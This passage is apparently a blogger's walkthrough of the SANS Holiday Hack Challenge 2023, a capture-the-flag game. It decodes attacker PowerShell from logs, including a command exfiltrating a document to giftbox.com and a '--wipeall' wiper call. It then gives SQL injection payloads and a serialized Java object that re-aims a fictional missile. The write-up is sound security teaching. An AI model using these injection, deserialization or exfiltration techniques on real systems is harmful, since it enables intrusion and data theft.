      Q1 Answer: 2023-12-02T10:12:42Z

  • Q2: What file is dropped to Alabaster’s machine shortly after he downloads the malicious file?

    • We can take the timestamp we just found and query the FileCreationEvents table for events that happened shortly after Alibaster clicked the link.

      FileCreationEvents
      | where username == "alsnowball"
      | where timestamp between (datetime("2023-12-02T10:12:42Z")..datetime("2023-12-02T11:12:42Z"))
      

      Alt text

      Q2 Answer: giftwrap.exe

Case 4: A compromised host! Time for a deep dive.

  • Q1: The attacker created a reverse tunnel connection with the compromised machine. What IP was the connection forwarded to?

    • We can query the ProcessEvents table for the questions in Case 4. First, let’s look for activity on Alabaster’s desktop related to a reverse shell shortly after our indicator of compromise timeframe 2023-12-02T10:12:42Z. Let’s look at the next 24 hrs.

      ProcessEvents
      | where timestamp between (datetime("2023-12-02T10:12:42Z")..datetime("2023-12-03T10:12:42Z"))
      | where hostname == "Y1US-DESKTOP"
      | distinct timestamp, parent_process_name, process_commandline, process_name, hostname, username
      

      Alt text

      Q1 Answer: 113.37.9.17

  • Q2: What is the timestamp when the attackers enumerated network shares on the machine?

    • Our previous query for Q1 includes the result for this answer as well. We are looking for the timestamp of when the net share command was executed. (see Q2 callout in the screenshot above).

      Q2 Answer: 2023-12-02T16:51:44Z

  • Q3: What was the hostname of the system the attacker moved laterally to?

    • This question seems a little misleading. The authentication logs prove useless in this scenario, if we expand the timeframe of our original search, we’ll see where a command to map a network share was executed. The hostname for that share is the answer. After finding this answer, I refined my query by adding net use to easily highlight the answer.

      ProcessEvents
      | where timestamp between (datetime("2023-12-02T10:12:42Z")..datetime("2023-12-30T10:12:42Z"))
      | where hostname == "Y1US-DESKTOP"
      | where process_commandline contains "net use"
      | distinct timestamp, parent_process_name, process_commandline, process_name, hostname, username
      

      Alt text

      Q3 Answer: NorthPolefileshare

Case 5: A hidden message.

  • Q1: When was the attacker’s first base64 encoded PowerShell command executed on Alabaster’s machine?

    • We can modify our query in the ProcessEvents table to filter on powershell activity to quickly find the encoded commands.

      ProcessEvents
      | where timestamp between (datetime("2023-12-02T10:12:42Z")..datetime("2023-12-30T10:12:42Z"))
      | where hostname == "Y1US-DESKTOP"
      | where process_commandline contains "powershell"
      | distinct timestamp, parent_process_name, process_commandline, process_name, hostname, username
      

      Alt text

      Q1 Answer: 2023-12-24T16:07:47Z

  • Q2: What was the name of the file the attacker copied from the fileshare? (This might require some additional decoding)

    • We can throw this into our PowerShell sandbox to see if we can decode the message dynamically. The message prints out backwards initially, so we can add a line to reverse the message to correctly display the answer.

      $base64string = "KCAndHh0LnRzaUxlY2lOeXRoZ3VhTlxwb3Rrc2VEXDpDIHR4dC50c2lMZWNpTnl0aGd1YU5cbGFjaXRpckNub2lzc2lNXCRjXGVyYWhzZWxpZmVsb1BodHJvTlxcIG1ldEkteXBvQyBjLSBleGUubGxlaHNyZXdvcCcgLXNwbGl0ICcnIHwgJXskX1swXX0pIC1qb2luICcn"
      $decodedText = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($base64String))
      $decodedText[-1..-($decodedText.length)]-join"" #reverse decoded string
      

      Alt text

      Q2 Answer: NaughtyNiceList.txt

  • Q3: The attacker has likely exfiltrated data from the file share. What domain name was the data exfiltrated to?

    • We’ll have two rounds of obfuscation to work through for this challenge. First, we can do like we did on Q2 and dynamically decode the first part of the command. We only want the string before it is piped into execution.

      $base64string = "W1N0UmlOZ106OkpvSW4oICcnLCBbQ2hhUltdXSgxMDAsIDExMSwgMTE5LCAxMTAsIDExOSwgMTA1LCAxMTYsIDEwNCwgMTE1LCA5NywgMTEwLCAxMTYsIDk3LCA0NiwgMTAxLCAxMjAsIDEwMSwgMzIsIDQ1LCAxMDEsIDEyMCwgMTAyLCAxMDUsIDEwOCwgMzIsIDY3LCA1OCwgOTIsIDkyLCA2OCwgMTAxLCAxMTUsIDEwNywgMTE2LCAxMTEsIDExMiwgOTIsIDkyLCA3OCwgOTcsIDExNywgMTAzLCAxMDQsIDExNiwgNzgsIDEwNSwgOTksIDEwMSwgNzYsIDEwNSwgMTE1LCAxMTYsIDQ2LCAxMDAsIDExMSwgOTksIDEyMCwgMzIsIDkyLCA5MiwgMTAzLCAxMDUsIDEwMiwgMTE2LCA5OCwgMTExLCAxMjAsIDQ2LCA5OSwgMTExLCAxMDksIDkyLCAxMDIsIDEwNSwgMTA4LCAxMDEpKXwmICgoZ3YgJypNRHIqJykuTmFtRVszLDExLDJdLWpvaU4="
      $decodedText = [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($base64String))
      Write-Host $decodedText
      

      Alt text

    • Now we’ll take the output of our previous command and use PowerShell to dynamically put together the ASCII array to reveal the obfuscated command, and our answer!

      $exfill = [StRiNg]::JoIn( '', [ChaR[]](100, 111, 119, 110, 119, 105, 116, 104, 115, 97, 110, 116, 97, 46, 101, 120, 101, 32, 45, 101, 120, 102, 105, 108, 32, 67, 58, 92, 92, 68, 101, 115, 107, 116, 111, 112, 92, 92, 78, 97, 117, 103, 104, 116, 78, 105, 99, 101, 76, 105, 115, 116, 46, 100, 111, 99, 120, 32, 92, 92, 103, 105, 102, 116, 98, 111, 120, 46, 99, 111, 109, 92, 102, 105, 108, 101))
      
      Write-Host $exfill
      

      Alt text

      Q3 Answer: giftbox.com

Case 6: The final step!

  • What is the name of the executable the attackers used in the final malicious command?

    • We can go back to the query results from Case 5, Question 1 and grab the encoded payload.

      Alt text

    • We can actually decode this in the same window using KQL Tools!

      print base64_decode_tostring('QzpcV2luZG93c1xTeXN0ZW0zMlxkb3dud2l0aHNhbnRhLmV4ZSAtLXdpcGVhbGwgXFxcXE5vcnRoUG9sZWZpbGVzaGFyZVxcYyQ=')
      

      Alt text

      Q1 Answer: downwithsanta.exe

  • What was the command line flag used alongside this executable?

    • The output from above had the switch used as well.

      Q2 Answer: --wipeall

Congratulations!

  • Congratulations, you’ve cracked the Kusto detective agency section of the Holiday Hack Challenge! To earn credit for your fantastic work, return to the Holiday Hack Challenge and enter the secret phrase which is the result of running this query:

    print base64_decode_tostring('QmV3YXJlIHRoZSBDdWJlIHRoYXQgV29tYmxlcw==')
    

    Alt text

    Answer: Beware the Cube that Wombles


Phish Detection Agency #

Difficulty: πŸŽ„πŸŽ„

Attention, Digital Defenders! You’ve entered the realm of the Phishing Detection Agency, where advanced AI meets human insight. It’s been reported that AI has started hallucinating, and it’s up to you to discern the reality behind these emails.

Key: In the shadow-laden corridors of our menu, the Phishing link casts a crimson hue, a siren’s call warning that the number of deceitful emails is amiss. Should our digital sleuthing align perfectly with the cunning of these tricksters, watch as it transforms, glowing an emerald green in triumphant success.

Collaboration with ChatNPT: In our ongoing battle against phishing, we’ve enlisted ChatNPT to preliminarily flag potential phishing attempts. These flagged emails are stored in the Phishing Folder. However, AI isn’t foolproof! It’s up to you, the astute investigator, to dive into these emails and confirm their legitimacy. Cross-reference with our DNS records, apply your knowledge of SPF, DKIM, and DMARC, and ensure that only true phishing threats remain in the Phishing Folder. Your keen eye for detail is crucial in outsmarting these digital tricksters!

Your mission: Navigate through our virtual vault of emails, employ your knowledge of SPF, DKIM, and DMARC, and identify those deceptive, phishing attempts.

  • To solve this challenge, we’ll need to make use of the provided DNS settings:

    Alt text

    Alt text

    Alt text

  • The best way to approach this challenge is to open the inbox and sort through each message one-by-one to make sure they are all received from mail.geeseislands.com, have a valid DKIM-signature for geeseislands.com, and pass DMARC.

    Alt text

  • There are 10 messages in total that need to be marked as phishing to complete the challenge.


Space Island #

Space Island Door Access Speaker #

Difficulty: πŸŽ„πŸŽ„πŸŽ„

There’s a door that needs opening on Space Island! Talk to Jewel Loggins there for more information.

1st Conversation with Jewel Loggins

What are you doing here, and who are you?
Me first? I’m Jewel Loggins. And I was trekking through the jungle and happened to find this place.
I liked this spot and decided to set up camp. Seeing you here is quite the surprise.
Well, because the only other person I’ve ever seen come here is Wombley Cube.
I thought this tram station in the middle of the jungle was strange to begin with, but then Wombley added to the intrigue.
I guess all this spy stuff is typical for him, so maybe I shouldn’t think much of it. I’m sure everything’s fine.
Every time he comes here, he says something to the speaker. Then, the door opens, and he rides the tram somewhere.
I gave it a try, but the door didn’t open for me. Knowing Wombley, it’s some kind of secret passphrase.
If you wanna see where the tram goes, I think you need to find out what that passphrase is.
Ribb Bonbowford over at Coggoggle Marina on Steampunk Island works with Wombley. Try asking if he knows.
I hope you find it. I’ll be here when you get back!

2nd Conversation with Jewel Loggins

What, you know the passphrase!? Let me try it!
Nope, didn’t work. Knowing Wombley, the passphrase isn’t the only requirement. He’s all about that MFA!
Oh yeah, multi-factor authentication! The passphrase for something he knows, and his voice for something he is!
That’s it! You need to be Wombley. You need his voice. Now, how are you gonna get that?
Since only us elves can get a subscription to use ChatNPT, try searching for another AI tool that can simulate voices. I’m sure there’s one out there.

Conversation with Wombley Cube

Wombley Cube here, welcome to Chiaroscuro City!
Have you heard about my latest project?
I’ve been so inspired by these wonderful islands I’ve decided to write a short story!
The title? It’s “The Enchanted Voyage of Santa and his Elves to the Geese Islands.” Sounds exciting, right?
Here, have this audiobook copy and enjoy the adventure at your convenience, my friend!
Consider it a welcome gift from yours truly, to make your holiday even more delightful.
Trust me, this captivating tale of fiction is going to take you on a magical journey you won’t forget.
Oh, and I promise it will provide some great entertainment while you explore the rest of Geese Islands!

Solution Walkthrough

  • With the secret passage from the Active Directory challenge in hand, we need to find a way to read it in Wombley Cube’s voice. We’ll use a trial version of Speechify to generate an audio file.

  • Upload wombleycube_the_enchanted_voyage.mp3 and paste in the secret passphrase, then click Generate Audio!

    Alt text

  • Passage Output:

  • Let’s go present this to the door!

    Alt text


Camera Access #

Difficulty: πŸŽ„πŸŽ„πŸŽ„

Gain access to Jack’s camera. What’s the third item on Jack’s TODO list?

Setup

  • Server

    • To get things started, we can click on the main console at the Zenith SGS on Space Island. From there we can click on the Gator in the bottom right hand corner, then click on Time Travel to obtain a configuration file.

      ###BEGIN###
      ### This is the server's Wireguard configuration file. Please consider saving it for your record. ###
      
      [Interface]
      Address = 10.1.1.1/24
      PrivateKey = aVAvnHXQtNhwCoVS5AieB1Usk+2M3SrHtEkUD6ooNCY=
      ListenPort = 51820
      
      [Peer]
      PublicKey = 3PoewiCddgwdWCLyd09hVWUIbLpsux3NO970ayE5mH4=
      AllowedIPs = 10.1.1.2/32
      
      
      ###END####
      
      ###BEGIN###
      ### This is your Wireguard configuration file. Please save it, configure a local Wireguard client, and connect to the Target. ###
      
      [Interface]
      Address = 10.1.1.2/24
      PrivateKey = cxajxbRUf9lZVYDv0KgyJcfpvndmHQioMZhKQ/18vVg=
      ListenPort = 51820
      
      [Peer]
      PublicKey = QnVFXINvMeKn7tmdAiJTsDl3FomVsurVmpTurlcBwh0=
      Endpoint = 34.135.35.148:51820
      AllowedIPs = 10.1.1.1/32
      
      
      ###END####
      GateXOR> {end}...[timeline] reverted!
      

      Alt text

  • Container

    • Next, we can interact with the NanoSat-o-Matic vending machine located to the left of the GateXOR console and obtain a free samlple.

    • This is a docker container, let’s get Docker installed on our kali opstation.

      sudo apt-get install -y docker.io  
      sudo systemctl enable docker --now  
      sudo usermod -aG docker $USER       #allow to run without sudo
      #logoff and log back in
      
    • Now we can open and follow the README.md with the build instructions and connection info. Once the container is deployed, we can use it to connect to the GateXOR nanosat instance.

      Alt text

    • Let’s use Remmina to connect to the local Docker container we just launched. We can connect to our loopback IP address on port 5900 - 127.0.0.1:5900

      Note: The VNC connection is janky, it may take a few tries for the display to appear

      Alt text

Solution Walkthrough

  • After following the README, let’s verify our connection settings:

    Alt text

  • We have a successful connection, now we can right-click on the desktop and select: Satellite Tools > Launch NanoSat MO Base Station Tool

  • Input the provided URL from the README.md and click Fetch Information

    maltcp://10.1.1.1:1024/nanosat-mo-supervisor-Directory
    

    Alt text

  • Let’s select Connect to Selected Provider, then navigate to the Apps Launcher service and Run the camera app.

    Alt text

  • Next, we can navigate back to the Communication Settings (Directory) tab and we’ll have a second item in the Providers List: 2. App: Camera. Select it and click on Connect to Selected Provider.

  • Now, under the Action Service tab, we have an interesting name: Base64SnapImage and description: Uses the NMF Camera service to take a jpg picture.

  • Let’s click on the Parameter Service tab and click on getValue.

    Alt text

  • Since we can’t select anything or see the whole message on the value that was returned, we need to capture the data another way. Looking at different tools on the container instance, we have Wireshark available. Let’s run the getValue action again while capturing traffic on the wg0 interface, then follow the TCP stream to see the entire base64 string.

    Alt text

  • We need to save this capture and move it from the container to analyze on our optstation with more computing resources. From the opstation, run:

    docker cp a9ed147e2a45:/root/jpg-capture.pcapng .
    
  • We can now view the stream again and copy the raw base64 string into Cyberchef to decode it, then save the output. Based on the JFIF file header, Cyberchef will detect and use the .jpg extension when saving.

    Alt text

  • Finally, we can open the reconstructed file and get a view of Jack’s list in the background for the answer!

    Alt text

    Answer: CONQUER HOLIDAY SEASON!


Missile Diversion #

Difficulty: πŸŽ„πŸŽ„πŸŽ„πŸŽ„πŸŽ„

Thwart Jack’s evil plan by re-aiming his missile at the Sun.
  • We can repeat the setup steps from the Camera Access Challenge to connect to the CTT: Consumer Test Tool again.

  • This time, we’ll go to the Apps Launcher service tab, select the missile-targeting-system option, and click runApp. We’ll see a new URI that we can use to connect to the missile system dirctory.

    Alt text

  • Let’s copy this value and plug it into the Directory Service URI field in the Communication Settings tab, then click Fetch Information. Now we can select the new App in the providers list, then Connect to Selected Provider

    Alt text

  • After some tinkering to get familiar with the options in the missile-targeting-system App; we find that we can interact with the Debug option in the Action service tab and retrive a corresponding response value or error in the Parameter service tab.

    • For example, we can click on submitAction in the Action service tab, leave the fields blank and click Submit. Then switch to the Parameter service tab and highlight the Debug field and click on getValue. We can see a returned value from the provider containing a database version.

      Alt text

  • Maybe we can break things! In the Action service tab, let’s try passing a single quote ' using submitAction to see if we can generate an error in the response.

    Alt text

  • Now let’s switch back to the Parameter service tab and getValue for the Debug field again to retrieve the response.

    Alt text

  • Sure enough, we influenced a different response by breaking the SQL query. Let’s try some injection techniques!

Reconniassance

  • Coming in heavy handed, let’s throw a Golden Statement at this DB to see if we can dump all of the table names. We can prepend our syntax with a semicolon ; to have our query treated as a legitimate extension of syntax the database is expecting.

    ; SELECT table_schema,table_name,column_name FROM information_schema.columns;
    

    Alt text

  • We can see the entire table schema, this is a step in the right direction! Let’s exclude everything from the default information_schema to reveal the configured Database Name, Table Names, and Column Names.

    ; SELECT table_schema, table_name, column_name FROM information_schema.columns WHERE table_schema NOT IN ('information_schema');
    

    Alt text

  • Now that we know each of the table names, let’s query them one-by-one to see if there is anything interesting.

    ; SELECT id, msg_type, msg_data FROM missile_targeting_system.messaging;
    

    Alt text

    • Nothing of note here other than some reference data, and a clever nod to Wargames, Nice!
    ; SELECT id, numerical_mode, str_mode, str_desc FROM missile_targeting_system.pointing_mode_to_str;
    

    Alt text

    • From this table, we learn that if pointing_mode is set to 1, the target system points to the sun, which is our objective.
    ; SELECT id, numerical_mode FROM missile_targeting_system.pointing_mode;
    

    Alt text

    • Now we can see that the numerical_mode is currently set to 0. We can assume this is set to Earth Point Mode Let’s try updating it to 1 to change to Sun Point Mode.

      ; UPDATE missile_targeting_system.pointing_mode SET numerical_mode = 1 WHERE id = 1;
      

      Alt text

      • Our UPDATE query was denied. Let’s check the current user’s access for each table to see if there’s another way to update the table.
    ; SHOW GRANTS;
    

    Alt text

    • It looks like we can only modify the satellite_query table using the INSERT keyword, let’s continue looking at each table and come back to this.
    ; SELECT id, lat, lng FROM missile_targeting_system.target_coordinates;
    

    Alt text

    Alt text

    • This table contains the coordinates to what we can assume is the Geese Islands, which appear to be southeast of the Hawaiian Islands in the Pacific Ocean. The data is interesting, but not particularly useful to us as of now. Let’s keep rolling.
    ; SELECT jid, object, results FROM missile_targeting_system.satellite_query;
    

    Alt text

    • This output is interesting. Based on our permissions, we can modify using the INSERT keyword. It looks like the object column contains some java code, but we can’t see the entire output in the Returned Values window. Let’s use Wireshark to capture the complete response. After some cleaning up we have the following jave code.

      import java.io.Serializable;
      import java.io.IOException;
      import java.nio.charset.StandardCharsets;
      import java.nio.file.*;
      import java.util.stream.Collectors;
      import java.util.stream.Stream;
      import java.sql.*;
      import java.util.ArrayList;
      import java.util.HashMap;
      import java.util.List;
      import com.google.gson.Gson;
      
      public class SatelliteQueryFileFolderUtility implements Serializable {
          private String pathOrStatement;
          private boolean isQuery;
          private boolean isUpdate;
      
          public SatelliteQueryFileFolderUtility(String pathOrStatement, boolean isQuery, boolean isUpdate) {
              this.pathOrStatement = pathOrStatement;
              this.isQuery = isQuery;
              this.isUpdate = isUpdate;
          }
      
          public String getResults(Connection connection) {
              if (isQuery && connection != null) {
                  if (!isUpdate) {
                      try (PreparedStatement selectStmt = connection.prepareStatement(pathOrStatement);
                          ResultSet rs = selectStmt.executeQuery()) {
                          List<HashMap<String, String>> rows = new ArrayList<>();
                          while(rs.next()) {
                              HashMap<String, String> row = new HashMap<>();
                              for (int i = 1; i <= rs.getMetaData().getColumnCount(); i++) {
                                  String key = rs.getMetaData().getColumnName(i);
                                  String value = rs.getString(i);
                                  row.put(key, value);
                              }
                              rows.add(row);
                          }
                          Gson gson = new Gson();
                          String json = gson.toJson(rows);
                          return json;
                      } catch (SQLException sqle) {
                          return "SQL Error: " + sqle.toString();
                      }
                  } else {
                      try (PreparedStatement pstmt = connection.prepareStatement(pathOrStatement)) {
                          pstmt.executeUpdate();
                          return "SQL Update completed.";
                      } catch (SQLException sqle) {
                          return "SQL Error: " + sqle.toString();
                      }
                  }
              } else {
                  Path path = Paths.get(pathOrStatement);
                  try {
                      if (Files.notExists(path)) {
                          return "Path does not exist.";
                      } else if (Files.isDirectory(path)) {
                          // Use try-with-resources to ensure the stream is closed after use
                          try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                              return walk.skip(1) // skip the directory itself
                                      .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                      .collect(Collectors.joining("\n"));
                          }
                      } else {
                          // Assume it's a readable file
                          return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                      }
                  } catch (IOException e) {
                      return "Error reading path: " + e.toString();
                  }
              }
          }
      
          public String getpathOrStatement() {
              return pathOrStatement;
          }
      }
      
  • After some research and asking ChatGPT what this code does, we can prepare our environment to generate a serialized java object.

  • Like before, let’s get this code moved to our Kali opstation. Save the TCP stream data to a .txt file, then copy it out of the docker container.

    docker cp a9ed147e2a45:/root/satellite_query.txt .
    

Exploit Setup

  • Let’s create a new working directory called exploit and save the code we just extracted as: SatelliteQueryFileFolderUtility.java.

  • After some trial and error with ChatGPT, we have the following java code that we can use to output a serialized object containing our update query. Let’s save the code in a file named Main.java.

    import java.io.FileOutputStream;
    import java.io.IOException;
    import java.io.ObjectOutputStream;
    import java.io.Serializable;
    
    public class Main {
        public static void main(String[] args) {
            // Creating an instance of SatelliteQueryFileFolderUtility with SQL-like statement
            SatelliteQueryFileFolderUtility utility = new SatelliteQueryFileFolderUtility("UPDATE missile_targeting_system.pointing_mode SET numerical_mode = 1 WHERE id = 1", true, true);
    
            // Serializing the object to a file with specified filename
            try (ObjectOutputStream objectOut = new ObjectOutputStream(new FileOutputStream("exploitQuery.ser"))) {  
                objectOut.writeObject(utility);
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    
  • With our resources in order, let’s set up the requirements we need to compile the code.

    sudo apt install default-jdk   #install latest java dev kit
    wget https://repo1.maven.org/maven2/com/google/code/gson/gson/2.10.1/gson-2.10.1.jar  #download gson dependency
    
  • Our working directory should now look something like this:

    Alt text

  • Compile the code and run to generate our serialized output.

    javac -cp .:gson-2.10.1.jar Main.java   #compile
    java Main   #write serialized data to exploitQuery.ser
    

    Alt text

  • Now we can use xxd to convert our serialized data to hex format. We’ll use the -p switch to just show the hex data.

    xxd -p exploitQuery.ser
    

    Alt text

  • Now we can put it all together by taking our hex output of the serialized data and injecting it through a query to redirect Jack’s missile toward the sun.

    ; INSERT INTO satellite_query (object) VALUES(UNHEX('aced00057372001f536174656c6c697465517565727946696c65466f6c6465725574696c69747912d4f68d0eb392cb0200035a0007697351756572795a000869735570646174654c000f706174684f7253746174656d656e747400124c6a6176612f6c616e672f537472696e673b78700101740051555044415445206d697373696c655f746172676574696e675f73797374656d2e706f696e74696e675f6d6f646520534554206e756d65726963616c5f6d6f6465203d2031205748455245206964203d2031'));
    
  • Upon sending this query, the challenge will be marked as complete! Let’s verify that the mode has changed to 1 by querying the pointing_mode table one last time.

    ; SELECT id, numerical_mode FROM missile_targeting_system.pointing_mode;
    

    Alt text

  • We did it! The final cutscene of Jack’s spoiled plan!


Game Cartridges #

Game Cartridges: Vol 1 #

Difficulty: πŸŽ„

Find the first Gamegosling cartridge and beat the game
Alt text

Find the cartridge:

  • The game cartridge can be found in the upper right-hand corner on the Island of Misfit Toys: Tarnished Trove port under a pirate hat.

Beat the Game:

  • For the first game, we can win by playing it as-is without any hacking or cheating. The action item allows us to throw music notes at the squares. When a square starts playing music, it needs to be moved to another position. The new position will be flashing green while the music is playing. We need to find and move all 7 pieces to the correct positions to win. After winning the screen zooms out so we can scan the QR code that links to http://8bitelf.com for the flag and… GLOOOOORY!

    Answer: santaconfusedgivingplanetsqrcode


Game Cartridges: Vol 2 #

Difficulty: πŸŽ„πŸŽ„πŸŽ„

Find the second Gamegosling cartridge and beat the game
Alt text

Hints:

  • Gameboy 2: From Tinsel Upatree
    • Try poking around Pixel Island. There really aren’t many places you can go here, so try stepping everywhere and see what you get!

    • This feels the same, but different!

    • If it feels like you are going crazy, you probably are! Or maybe, just maybe, you’ve not yet figured out where the hidden ROM is hiding.

    • I think I may need to get a DIFFerent perspective.

    • I wonder if someone can give me a few pointers to swap.

Find the cartridge:

  • This one can be found at Driftbit Grotto on Pixel Island

Beat the Game:

  • With all the hints, if we refresh the page a few times while launching the game, there are two different versions game0.gb and game1.gb. The difference is a mirror image of the map where T-wiz won’t allow us to pass!

    Alt text

  • We can look at the source for the page and use the corresponding URLs to download the game files so we can manipulate them offline. We can use an emulator like BGB.

  • As soon as the dialogue box closes, our character automatically rmoves away from the opening by a few steps. This action is forced in the opposite direction. With the first difference between the two ROMs being the mirrored orientation, maybe we can manipulate that action to force us through the door in the other version of the game.

  • Let’s open both files in HxD (a hex editor) to do a comparison.

  • We can press CTRL+K to compare both files side-by-side, then use F6 to cycle through differences. After working our way through a few differences, we come across a single character difference right after the “You shall not pass” dialogue.

    Alt text

  • Since one game forces the character up, and the other forces them down. Let’s swap this value in one of the games. We’ll patch game1.gb with 02 to see if we can force our way past the barrier. Make the change and save to a new file, we’ll use game1-patched.gb

  • We can play our patched version and float right past T-wiz!

  • Listening to that radio, it sounded like morse code… Let’s take the audio from our file and upload it to an online converter to retrieve the message.

    • The default settings didn’t have enough sensitivity to convert the tones initially. Bumping the Maximum volume to -40 did the trick.

      Alt text

    • We can take our message and submit for the answer. GLORY!


Game Cartridges: Vol 3 #

Difficulty: πŸŽ„πŸŽ„πŸŽ„

Find the third Gamegosling cartridge and beat the game
Alt text

Hints:

  • Gameboy 3: From Angel Candysalt
    • The location of the treasure in Rusty Quay is marked by a shiny spot on the ground. To help with navigating the maze, try zooming out and changing the camera angle.

    • This one is a bit long, it never hurts to save your progress!

    • 8bit systems have much smaller registers than you’re used to.

    • Isn’t this great?!? The coins are OVERFLOWing in their abundance.

Find the Cartridge:

  • Navigate the maze in Rusty Quay on Steampunk Island.

Beat the Game:

  • We can open this game in BGB and start playing. Eventually we get through three sections and run into Jared who says: “Back in my SysAdmin days marketing always loved talking about 5 nines. But we all know it was more like 3 nines.”

    Alt text

  • Let’s try to collect 999 coins.

    Alt text

  • Ah! An in-game bug is preventing us from carrying 999 coins. Let’s open the debugger tools in BGB by pressing ESC. We’ll follow the BGB documenation to search for each memory address holding a coin value and try to freeze them at 999 coins. We’ll have to do the ones, tens, and hundreds places individually since they are stored in separate addresses

    • Ones: We’ll work with 3 coins in this place and work to narrow possible memory locations down to as few as possible. We are able to get it down to 2 possibilities. Let’s freeze them both to 9.

    • Right click on the memory address in the cheat searcher window > go to debugger > right click on the hex value > freeze ram address

      Alt text

    • We can rinse and repeat the process for the tens and hundreds place until all three are 999.

  • With our 999 coins in hand, we can play through to the last phase where some additional floating rocks will provide a path across the open pit where we’ll meet up with Tom and blow his mind that we can hold that many coins. GLOOOOOOOOOOOORY!!

    Alt text


BONUS! #

Fishing Guide #

Difficulty: πŸŽ„

Catch twenty different species of fish that live around Geese Islands. When you’re done, report your findings to Poinsettia McMittens on the Island of Misfit Toys
  • We can manually play the game to catch 20 fish. Following the hints to inspect the source code starts to reveal some ideas on how we can think about automating the process.

    Alt text


Fishing Mastery #

Difficulty: πŸŽ„πŸŽ„πŸŽ„πŸŽ„

Catch at least one of each species of fish that live around Geese islands. When you’re done, report your findings to Poinsettia McMittens.
  • Now that the scale of our fishing operation has grown beyond a fixed number like we had before; we need to re-visit automating the process.

    • If we open the Sources tab in our browser developer tools, then navigate to 2023.holidayhackchallenge.com/sea/js/client.js?nocache=27060298323552, we’ll find the source code for actions when we are at sea. The logic for the fishing minigame begins on line 201. We can add the following steps, then save and manually cast our line to trigger the automation!

      201
      202
      203
      204
      205
      206
      207
      208
      209
      210
      211
      212
      213
      214
      215
      216
      217
      218
      219
      
      if (me.fishing) {
          reelItInBtn.style.display = 'block';
          if (me.onTheLine) {
              reelItInBtn.classList.add('gotone');
              reelItInBtn.innerText = 'Reel it in!';
              reelItInBtn.click();      //automate "Reel it in" action on each bite
              setTimeout(() => {        //show pescadex for 2 seconds after every catch
                closeFeeshBtn.click()   //automate closing pescadex
              }, 2000);
              setTimeout(() => {        //wait 1 second to cast atain
                castReelBtn.click()     //auto cast again
              }, 1000);
          } else {
              reelItInBtn.classList.remove('gotone');
              reelItInBtn.innerText = 'Reel it in';
          }
      } else {
          reelItInBtn.style.display = 'none';
      }
      
    • A sped-up example of auto-catching more fish!

  • This process got us to 170/171 fish, we still need one more! After hours of trying different spots to no avail, a closer review of the source code provided evidence of a heatmap that I didn’t see earlier.

  • We can pull all the fish we have already caught by right clicking anywhere in the ocean and click inspect. Then input the following into the console:

    playerData.fishCaught
    
  • Comparing this list against the list of fish names on the heatmap site, we are still missing the Piscis Cyberneticus Skodo. This fish is only available in a small area.

    Alt text

  • For complete overkill, we can modify the transparency and overlay the image with the map using an editing tool like PhotoShop. To really go overboard, let’s put this heatmap image into our game session. We can overwrite the map source files with ours. We’ll make it a little bigger, then go find that last fish.

    Alt text

  • After a short while, we got the last bite we needed to complete the challenge!

    Alt text


Easter Eggs #

Find Jason! #

Jason Blanchard appears as a fish out of water in this year’s challenge! He can be found soaking up the sun’s gnarly vibes in the bottom left-hand corner at Steampunk Island: Coggoggle Marina.

Alt text

Pixel Island Foreground #

I was inspecting the web content for the Elf Hunt challenge when I came across the image assets for the site. The pixel_island_foreground has a nice little hidden message: you are Awesome!

Alt text


Event Complete! #

Alt text